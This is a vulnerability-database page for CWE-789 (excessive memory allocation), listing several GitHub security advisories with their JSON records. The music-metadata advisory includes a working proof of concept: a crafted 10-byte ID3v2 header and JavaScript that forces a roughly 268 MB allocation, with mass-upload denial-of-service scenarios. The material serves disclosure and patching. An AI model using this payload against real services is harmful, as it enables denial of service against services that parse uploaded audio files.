CWE-789
Weakness AllowedMemory Allocation with Excessive Size Value
Abstraction: Variant · Status: Draft
The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.
Mapping guidance
This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.
Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
Modes of introduction
Detection methods
Fuzzing
Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.
Effectiveness: High
Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)
Effectiveness: High
Automated Dynamic Analysis
Use tools that are integrated during compilation to insert runtime error-checking mechanisms related to memory safety errors, such as AddressSanitizer (ASan) for C/C++ [REF-1518].
Effectiveness: Moderate
Crafted inputs are necessary to reach the code containing the error, such as generated by fuzzers. Also, these tools may reduce performance, and they only report the error condition - not the original mistake that led to the error.
Notes
Relationship
This weakness can be closely associated with integer overflows (CWE-190). Integer overflow attacks would concentrate on providing an extremely large number that triggers an overflow that causes less memory to be allocated than expected. By providing a large value that does not trigger an integer overflow, the attacker could still cause excessive amounts of memory to be allocated.
Applicable Platform
Uncontrolled memory allocation is possible in many languages, such as dynamic array allocation in perl or initial size parameters in Collections in Java. However, languages like C and C++ where programmers have the power to more directly control memory management will be more susceptible.
Content history
updated Taxonomy_Mappings
updated Common_Consequences, Observed_Examples
updated Common_Consequences
updated References
updated Applicable_Platforms, Taxonomy_Mappings
updated References, Relationships, Taxonomy_Mappings
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Relationships, Time_of_Introduction
updated Demonstrative_Examples, Relationships
updated Observed_Examples
updated Detection_Factors, Relationships
updated Mapping_Notes, Relationships
updated Affected_Resources, Functional_Areas, Observed_Examples
updated Detection_Factors, References
updated Observed_Examples
updated References
652 vulnerabilities reference this CWE, most recent first.
GHSA-J3G3-5QV5-52MJ
Vulnerability from github – Published: 2025-04-28 14:17 – Updated: 2025-11-21 22:18Summary
There is a possibility for denial of service by memory exhaustion when net-imap reads server responses. At any time while the client is connected, a malicious server can send can send a "literal" byte count, which is automatically read by the client's receiver thread. The response reader immediately allocates memory for the number of bytes indicated by the server response.
This should not be an issue when securely connecting to trusted IMAP servers that are well-behaved. It can affect insecure connections and buggy, untrusted, or compromised servers (for example, connecting to a user supplied hostname).
Details
The IMAP protocol allows "literal" strings to be sent in responses, prefixed with their size in curly braces (e.g. {1234567890}\r\n). When Net::IMAP receives a response containing a literal string, it calls IO#read with that size. When called with a size, IO#read immediately allocates memory to buffer the entire string before processing continues. The server does not need to send any more data. There is no limit on the size of literals that will be accepted.
Fix
Upgrade
Users should upgrade to net-imap 0.5.7 or later. A configurable max_response_size limit has been added to Net::IMAP's response reader. The max_response_size limit has also been backported to net-imap 0.2.5, 0.3.9, and 0.4.20.
To set a global value for max_response_size, users must upgrade to net-imap ~> 0.4.20, or > 0.5.7.
Configuration
To avoid backward compatibility issues for secure connections to trusted well-behaved servers, the default max_response_size for net-imap 0.5.7 is very high (512MiB), and the default max_response_size for net-imap ~> 0.4.20, ~> 0.3.9, and 0.2.5 is nil (unlimited).
When connecting to untrusted servers or using insecure connections, a much lower max_response_size should be used.
# Set the global max_response_size (only ~> v0.4.20, > 0.5.7)
Net::IMAP.config.max_response_size = 256 << 10 # 256 KiB
# Set when creating the connection
imap = Net::IMAP.new(hostname, ssl: true,
max_response_size: 16 << 10) # 16 KiB
# Set after creating the connection
imap.max_response_size = 256 << 20 # 256 KiB
# flush currently waiting read, to ensure the new setting is loaded
imap.noop
Please Note: max_response_size only limits the size per response. It does not prevent a flood of individual responses and it does not limit how many unhandled responses may be stored on the responses hash. Users are responsible for adding response handlers to prune excessive unhandled responses.
Compatibility with lower max_response_size
A lower max_response_size may cause a few commands which legitimately return very large responses to raise an exception and close the connection. The max_response_size could be temporarily set to a higher value, but paginated or limited versions of commands should be used whenever possible. For example, to fetch message bodies:
imap.max_response_size = 256 << 20 # 256 KiB
imap.noop # flush currently waiting read
# fetch a message in 252KiB chunks
size = imap.uid_fetch(uid, "RFC822.SIZE").first.rfc822_size
limit = 252 << 10
message = ((0..size) % limit).each_with_object("") {|offset, str|
str << imap.uid_fetch(uid, "BODY.PEEK[]<#{offset}.#{limit}>").first.message(offset:)
}
imap.max_response_size = 16 << 20 # 16 KiB
imap.noop # flush currently waiting read
References
- PR to introduce max_response_size: https://github.com/ruby/net-imap/pull/444
- Specific commit: 0ae8576c1 - lib/net/imap/response_reader.rb
- Backport to 0.4: https://github.com/ruby/net-imap/pull/445
- Backport to 0.3: https://github.com/ruby/net-imap/pull/446
- Backport to 0.2: https://github.com/ruby/net-imap/pull/447
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.6"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.5.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.19"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.4.20"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.3.8"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.0"
},
{
"fixed": "0.3.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.2.4"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-43857"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-405",
"CWE-770",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-28T14:17:32Z",
"nvd_published_at": "2025-04-28T16:15:33Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThere is a possibility for denial of service by memory exhaustion when `net-imap` reads server responses. At any time while the client is connected, a malicious server can send can send a \"literal\" byte count, which is automatically read by the client\u0027s receiver thread. The response reader immediately allocates memory for the number of bytes indicated by the server response.\n\nThis should not be an issue when securely connecting to trusted IMAP servers that are well-behaved. It can affect insecure connections and buggy, untrusted, or compromised servers (for example, connecting to a user supplied hostname).\n\n### Details\n\nThe IMAP protocol allows \"literal\" strings to be sent in responses, prefixed with their size in curly braces (e.g. `{1234567890}\\r\\n`). When `Net::IMAP` receives a response containing a literal string, it calls `IO#read` with that size. When called with a size, `IO#read` immediately allocates memory to buffer the entire string before processing continues. The server does not need to send any more data. There is no limit on the size of literals that will be accepted.\n\n### Fix\n#### Upgrade\nUsers should upgrade to `net-imap` 0.5.7 or later. A configurable `max_response_size` limit has been added to `Net::IMAP`\u0027s response reader. The `max_response_size` limit has also been backported to `net-imap` 0.2.5, 0.3.9, and 0.4.20.\n\nTo set a global value for `max_response_size`, users must upgrade to `net-imap` ~\u003e 0.4.20, or \u003e 0.5.7.\n\n#### Configuration\n\nTo avoid backward compatibility issues for secure connections to trusted well-behaved servers, the default `max_response_size` for `net-imap` 0.5.7 is _very high_ (512MiB), and the default `max_response_size` for `net-imap` ~\u003e 0.4.20, ~\u003e 0.3.9, and 0.2.5 is `nil` (unlimited).\n\nWhen connecting to untrusted servers or using insecure connections, a much lower `max_response_size` should be used.\n```ruby\n# Set the global max_response_size (only ~\u003e v0.4.20, \u003e 0.5.7)\nNet::IMAP.config.max_response_size = 256 \u003c\u003c 10 # 256 KiB\n\n# Set when creating the connection\nimap = Net::IMAP.new(hostname, ssl: true,\n max_response_size: 16 \u003c\u003c 10) # 16 KiB\n\n# Set after creating the connection\nimap.max_response_size = 256 \u003c\u003c 20 # 256 KiB\n# flush currently waiting read, to ensure the new setting is loaded\nimap.noop\n```\n\n_**Please Note:**_ `max_response_size` only limits the size _per response_. It does not prevent a flood of individual responses and it does not limit how many unhandled responses may be stored on the responses hash. Users are responsible for adding response handlers to prune excessive unhandled responses.\n\n#### Compatibility with lower `max_response_size`\n\nA lower `max_response_size` may cause a few commands which legitimately return very large responses to raise an exception and close the connection. The `max_response_size` could be temporarily set to a higher value, but paginated or limited versions of commands should be used whenever possible. For example, to fetch message bodies:\n\n```ruby\nimap.max_response_size = 256 \u003c\u003c 20 # 256 KiB\nimap.noop # flush currently waiting read\n\n# fetch a message in 252KiB chunks\nsize = imap.uid_fetch(uid, \"RFC822.SIZE\").first.rfc822_size\nlimit = 252 \u003c\u003c 10\nmessage = ((0..size) % limit).each_with_object(\"\") {|offset, str|\n str \u003c\u003c imap.uid_fetch(uid, \"BODY.PEEK[]\u003c#{offset}.#{limit}\u003e\").first.message(offset:)\n}\n\nimap.max_response_size = 16 \u003c\u003c 20 # 16 KiB\nimap.noop # flush currently waiting read\n```\n\n### References\n\n* PR to introduce max_response_size: https://github.com/ruby/net-imap/pull/444\n * Specific commit: [0ae8576c1 - lib/net/imap/response_reader.rb](https://github.com/ruby/net-imap/pull/444/commits/0ae8576c1a90bcd9573f81bdad4b4b824642d105#diff-53721cb4d9c3fb86b95cc8476ca2df90968ad8c481645220c607034399151462)\n* Backport to 0.4: https://github.com/ruby/net-imap/pull/445\n* Backport to 0.3: https://github.com/ruby/net-imap/pull/446\n* Backport to 0.2: https://github.com/ruby/net-imap/pull/447",
"id": "GHSA-j3g3-5qv5-52mj",
"modified": "2025-11-21T22:18:03Z",
"published": "2025-04-28T14:17:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-j3g3-5qv5-52mj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43857"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/pull/442"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/pull/444"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/pull/444/commits/0ae8576c1a90bcd9573f81bdad4b4b824642d105#diff-53721cb4d9c3fb86b95cc8476ca2df90968ad8c481645220c607034399151462"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/pull/445"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/pull/446"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/pull/447"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/net-imap"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-43857.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "net-imap rubygem vulnerable to possible DoS by memory exhaustion"
}
GHSA-J4JR-XGJH-HPVC
Vulnerability from github – Published: 2026-10-20 18:31 – Updated: 2026-10-20 18:31Ghidra 10.2 through 12.1.4 contains a denial of service vulnerability in the ELF loader's ElfHeader class that allocates arrays sized by unvalidated extended section and program header counts. Attackers can supply a crafted 128-byte ELF file that triggers an OutOfMemoryError during load-spec discovery at import or in headless analysis pipelines.
{
"affected": [],
"aliases": [
"CVE-2026-113604"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-20T16:17:10Z",
"severity": "MODERATE"
},
"details": "Ghidra 10.2 through 12.1.4 contains a denial of service vulnerability in the ELF loader\u0027s ElfHeader class that allocates arrays sized by unvalidated extended section and program header counts. Attackers can supply a crafted 128-byte ELF file that triggers an OutOfMemoryError during load-spec discovery at import or in headless analysis pipelines.",
"id": "GHSA-j4jr-xgjh-hpvc",
"modified": "2026-10-20T18:31:44Z",
"published": "2026-10-20T18:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113604"
},
{
"type": "WEB",
"url": "https://github.com/NationalSecurityAgency/ghidra/commit/6c50a66e8a939e2bcbaf0a6432ec5d53a41ceeb3"
},
{
"type": "WEB",
"url": "https://github.com/NationalSecurityAgency/ghidra/blob/Ghidra_12.1.4_build/Ghidra/Features/Base/src/main/java/ghidra/app/util/bin/format/elf/ElfHeader.java"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/ghidra-10.2-through-12.1.4-denial-of-service-via-elf-loader-extended-header-counts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J5P2-2HH2-R977
Vulnerability from github – Published: 2026-09-07 12:30 – Updated: 2026-09-07 12:30In Eclipse Ankaios versions 0.1.0 through 1.0.1, the agent does not limit the length declared by a workload in a length-delimited protobuf message received through the Control Interface FIFO. A workload granted Control Interface access can specify an excessive message length, causing an unbounded memory allocation that may abort the Ankaios agent process. This results in loss of orchestration services for workloads managed by the affected agent.
{
"affected": [],
"aliases": [
"CVE-2026-85201"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-07T11:17:37Z",
"severity": "MODERATE"
},
"details": "In Eclipse Ankaios versions 0.1.0 through 1.0.1, the agent does not limit the length declared by a workload in a length-delimited protobuf message received through the Control Interface FIFO. A workload granted Control Interface access can specify an excessive message length, causing an unbounded memory allocation that may abort the Ankaios agent process. This results in loss of orchestration services for workloads managed by the affected agent.",
"id": "GHSA-j5p2-2hh2-r977",
"modified": "2026-09-07T12:30:29Z",
"published": "2026-09-07T12:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85201"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-ankaios/ankaios/pull/791"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-ankaios/ankaios/releases/tag/v1.0.2"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/900"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J7XF-PGW2-75MR
Vulnerability from github – Published: 2023-10-04 18:30 – Updated: 2024-08-29 15:30RTPS dissector memory leak in Wireshark 4.0.0 to 4.0.8 and 3.6.0 to 3.6.16 allows denial of service via packet injection or crafted capture file
{
"affected": [],
"aliases": [
"CVE-2023-5371"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-04T17:15:10Z",
"severity": "MODERATE"
},
"details": "RTPS dissector memory leak in Wireshark 4.0.0 to 4.0.8 and 3.6.0 to 3.6.16 allows denial of service via packet injection or crafted capture file",
"id": "GHSA-j7xf-pgw2-75mr",
"modified": "2024-08-29T15:30:30Z",
"published": "2023-10-04T18:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5371"
},
{
"type": "WEB",
"url": "https://gitlab.com/wireshark/wireshark/-/issues/19322"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/34DBP5P2RHQ7XUABPANYYMOGV5KS6VEP"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MADSCHKZSCKQ5NLIX3UMOIJD2JZ65L4V"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202402-09"
},
{
"type": "WEB",
"url": "https://www.wireshark.org/security/wnpa-sec-2023-27.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-J9G2-35F7-X39P
Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-05-24 17:39A vulnerability in the logging subsystem of Cisco Data Center Network Manager (DCNM) could allow an authenticated, local attacker to view sensitive information in a system log file that should be restricted. The vulnerability exists because sensitive information is not properly masked before it is written to system log files. An attacker could exploit this vulnerability by authenticating to an affected device and inspecting a specific system log file. A successful exploit could allow the attacker to view sensitive information in the system log file. To exploit this vulnerability, the attacker would need to have valid user credentials.
{
"affected": [],
"aliases": [
"CVE-2021-1283"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-20T20:15:00Z",
"severity": "MODERATE"
},
"details": "\n A vulnerability in the logging subsystem of Cisco Data Center Network Manager (DCNM) could allow an authenticated, local attacker to view sensitive information in a system log file that should be restricted.\n The vulnerability exists because sensitive information is not properly masked before it is written to system log files. An attacker could exploit this vulnerability by authenticating to an affected device and inspecting a specific system log file. A successful exploit could allow the attacker to view sensitive information in the system log file. To exploit this vulnerability, the attacker would need to have valid user credentials.\n ",
"id": "GHSA-j9g2-35f7-x39p",
"modified": "2022-05-24T17:39:40Z",
"published": "2022-05-24T17:39:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1283"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-dcnm-info-disc-QCSJB6YG"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JG45-2P4P-6QHW
Vulnerability from github – Published: 2026-11-24 00:31 – Updated: 2026-11-24 00:31Tanium addressed a denial of service vulnerability in Tanium Server.
{
"affected": [],
"aliases": [
"CVE-2026-134739"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-24T00:17:31Z",
"severity": "MODERATE"
},
"details": "Tanium addressed a denial of service vulnerability in Tanium Server.",
"id": "GHSA-jg45-2p4p-6qhw",
"modified": "2026-11-24T00:31:22Z",
"published": "2026-11-24T00:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-134739"
},
{
"type": "WEB",
"url": "https://security.tanium.com/TAN-2026-133"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JJPR-9CVF-CQ55
Vulnerability from github – Published: 2026-10-08 19:43 – Updated: 2026-10-08 19:43Summary
The ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error.
Details
Vulnerable Code Path:
lib/id3v2/ID3v2Token.ts:108- Syncsafe size read without validationlib/id3v2/ID3v2Parser.ts:122- Full tag body allocated before readinglib/id3v2/AbstractID3Parser.ts:22- Allocation happens before stream validation
Root Cause:
The ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking:
- If the tag size exceeds the remaining file size
- If the tag size exceeds a reasonable maximum
- If the subsequent read will actually succeed
// ID3v2Token.ts:108
const size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly
// Later: Allocates without validation
const tagBody = await tokenizer.readBuffer(Buffer.alloc(size));
// If actual data < size, read fails but allocation succeeded
Attack Mechanism:
- File contains valid ID3v2 header with 10 bytes total
- ID3v2 size field claims 268,435,455 bytes (maximum syncsafe value)
- Parser allocates 268 MB buffer
- Stream read fails (EOF) after 10 bytes
EndOfStreamErroris caught internally and silently handled- Caller receives normal metadata object
- 268 MB remains allocated until garbage collection
Affected Parsers: MP3 (primary), FLAC, DSF, Musepack
Memory Amplification: 10 bytes input → 268 MB allocation (26.8 million times amplification)
PoC
Complete reproduction steps:
import { parseBuffer } from 'music-metadata';
// Create a minimal ID3v2 file with maximum tag size but truncated content
const maliciousFile = Uint8Array.from([
0x49, 0x44, 0x33, // "ID3" identifier
0x04, 0x00, // Version 2.4.0
0x00, // Flags (no unsync, no extended header, etc)
0x7f, 0x7f, 0x7f, 0x7f // Syncsafe integer: maximum size (268,435,455 bytes)
// File ends here - truncated
]);
console.log('Input file size:', maliciousFile.byteLength, 'bytes');
try {
const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
console.log('✓ Parse succeeded (no error thrown)');
console.log('✓ Metadata returned:', metadata);
console.log('⚠️ ~268 MB was allocated despite only 10 bytes of input');
} catch (error) {
console.error('✗ Unexpected error:', error.message);
}
To demonstrate memory impact:
Run with node --expose-gc to monitor allocations:
// Extended PoC to show memory usage
import { parseBuffer } from 'music-metadata';
import { performance } from 'perf_hooks';
const maliciousFile = Uint8Array.from([
0x49, 0x44, 0x33, 0x04, 0x00, 0x00,
0x7f, 0x7f, 0x7f, 0x7f
]);
// Force garbage collection before test
if (global.gc) global.gc();
const before = process.memoryUsage();
console.log('Memory before:', {
heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
external: (before.external / 1024 / 1024).toFixed(2) + ' MB'
});
const start = performance.now();
await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
const duration = performance.now() - start;
const after = process.memoryUsage();
console.log('Memory after:', {
heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
external: (after.external / 1024 / 1024).toFixed(2) + ' MB',
heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + ' MB',
externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + ' MB'
});
console.log('Parse time:', duration.toFixed(2) + ' ms');
console.log('Result:', after.external / 1024 / 1024 > 100 ? '⚠️ LARGE ALLOCATION' : '✓ Normal');
Expected output:
Input file size: 10 bytes
✓ Parse succeeded (no error thrown)
✓ Metadata returned: { format: {}, common: {}, native: {} }
⚠️ ~268 MB was allocated despite only 10 bytes of input
Memory before: { heapUsed: '2.50 MB', external: '0.00 MB' }
Memory after: { heapUsed: '2.60 MB', external: '256.00 MB' }
externalDelta: 256.00 MB
Parse time: 15.23 ms
Result: ⚠️ LARGE ALLOCATION
Impact
Vulnerability Type: Uncontrolled Memory Allocation / Denial of Service (CWE-789)
Attack Vector: Network - Any service that accepts and parses MP3/FLAC/DSF/Musepack files
Who is Impacted:
- Music streaming platforms (Spotify, Apple Music, YouTube Music, etc.)
- Podcast hosting services (Podbean, Transistor, Anchor, etc.)
- Media servers (Plex, Subsonic, Jellyfin, etc.)
- Audio processing services (Discord, Slack, Teams)
- Any web service with file upload that uses music-metadata
Real-World Exploitation:
- Single Attacker, Multiple Files:
- Upload 10 malicious ID3v2 files (10 bytes each)
- Force 2.68 GB memory allocation
-
Overwhelm server memory capacity
-
Distributed Attack:
- 100 concurrent uploads × 268 MB = 26.8 GB memory
- Exhaust server memory, force OOM kills
-
Crash worker processes, cause DoS
-
Slow Leak:
- Repeatedly upload truncated ID3v2 files
- Each parse allocates 268 MB
- Memory leaks accumulate over time
-
Server becomes unresponsive
-
Cost Impact:
- Forced to scale up server capacity for parsing
- Increased infrastructure costs
- Reduced service availability
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.12.3"
},
"package": {
"ecosystem": "npm",
"name": "music-metadata"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107388"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T19:43:17Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently\u2014callers don\u0027t see an error.\n\n---\n\n### Details\n\n**Vulnerable Code Path:**\n\n- `lib/id3v2/ID3v2Token.ts:108` - Syncsafe size read without validation\n- `lib/id3v2/ID3v2Parser.ts:122` - Full tag body allocated before reading\n- `lib/id3v2/AbstractID3Parser.ts:22` - Allocation happens before stream validation\n\n**Root Cause:**\n\nThe ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking:\n\n1. If the tag size exceeds the remaining file size\n2. If the tag size exceeds a reasonable maximum\n3. If the subsequent read will actually succeed\n\n```typescript\n// ID3v2Token.ts:108\nconst size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly\n\n// Later: Allocates without validation\nconst tagBody = await tokenizer.readBuffer(Buffer.alloc(size));\n// If actual data \u003c size, read fails but allocation succeeded\n```\n\n**Attack Mechanism:**\n\n1. File contains valid ID3v2 header with 10 bytes total\n2. ID3v2 size field claims 268,435,455 bytes (maximum syncsafe value)\n3. Parser allocates 268 MB buffer\n4. Stream read fails (EOF) after 10 bytes\n5. `EndOfStreamError` is caught internally and silently handled\n6. Caller receives normal metadata object\n7. 268 MB remains allocated until garbage collection\n\n**Affected Parsers:** MP3 (primary), FLAC, DSF, Musepack\n\n**Memory Amplification:** 10 bytes input \u2192 268 MB allocation (26.8 million times amplification)\n\n---\n\n### PoC\n\n**Complete reproduction steps:**\n\n```javascript\nimport { parseBuffer } from \u0027music-metadata\u0027;\n\n// Create a minimal ID3v2 file with maximum tag size but truncated content\nconst maliciousFile = Uint8Array.from([\n 0x49, 0x44, 0x33, // \"ID3\" identifier\n 0x04, 0x00, // Version 2.4.0\n 0x00, // Flags (no unsync, no extended header, etc)\n 0x7f, 0x7f, 0x7f, 0x7f // Syncsafe integer: maximum size (268,435,455 bytes)\n // File ends here - truncated\n]);\n\nconsole.log(\u0027Input file size:\u0027, maliciousFile.byteLength, \u0027bytes\u0027);\n\ntry {\n const metadata = await parseBuffer(maliciousFile, { mimeType: \u0027audio/mpeg\u0027 });\n console.log(\u0027\u2713 Parse succeeded (no error thrown)\u0027);\n console.log(\u0027\u2713 Metadata returned:\u0027, metadata);\n console.log(\u0027\u26a0\ufe0f ~268 MB was allocated despite only 10 bytes of input\u0027);\n} catch (error) {\n console.error(\u0027\u2717 Unexpected error:\u0027, error.message);\n}\n```\n\n**To demonstrate memory impact:**\n\nRun with `node --expose-gc` to monitor allocations:\n\n```javascript\n// Extended PoC to show memory usage\nimport { parseBuffer } from \u0027music-metadata\u0027;\nimport { performance } from \u0027perf_hooks\u0027;\n\nconst maliciousFile = Uint8Array.from([\n 0x49, 0x44, 0x33, 0x04, 0x00, 0x00,\n 0x7f, 0x7f, 0x7f, 0x7f\n]);\n\n// Force garbage collection before test\nif (global.gc) global.gc();\nconst before = process.memoryUsage();\n\nconsole.log(\u0027Memory before:\u0027, {\n heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + \u0027 MB\u0027,\n external: (before.external / 1024 / 1024).toFixed(2) + \u0027 MB\u0027\n});\n\nconst start = performance.now();\nawait parseBuffer(maliciousFile, { mimeType: \u0027audio/mpeg\u0027 });\nconst duration = performance.now() - start;\n\nconst after = process.memoryUsage();\n\nconsole.log(\u0027Memory after:\u0027, {\n heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + \u0027 MB\u0027,\n external: (after.external / 1024 / 1024).toFixed(2) + \u0027 MB\u0027,\n heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + \u0027 MB\u0027,\n externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + \u0027 MB\u0027\n});\n\nconsole.log(\u0027Parse time:\u0027, duration.toFixed(2) + \u0027 ms\u0027);\nconsole.log(\u0027Result:\u0027, after.external / 1024 / 1024 \u003e 100 ? \u0027\u26a0\ufe0f LARGE ALLOCATION\u0027 : \u0027\u2713 Normal\u0027);\n```\n\n**Expected output:**\n\n```\nInput file size: 10 bytes\n\u2713 Parse succeeded (no error thrown)\n\u2713 Metadata returned: { format: {}, common: {}, native: {} }\n\u26a0\ufe0f ~268 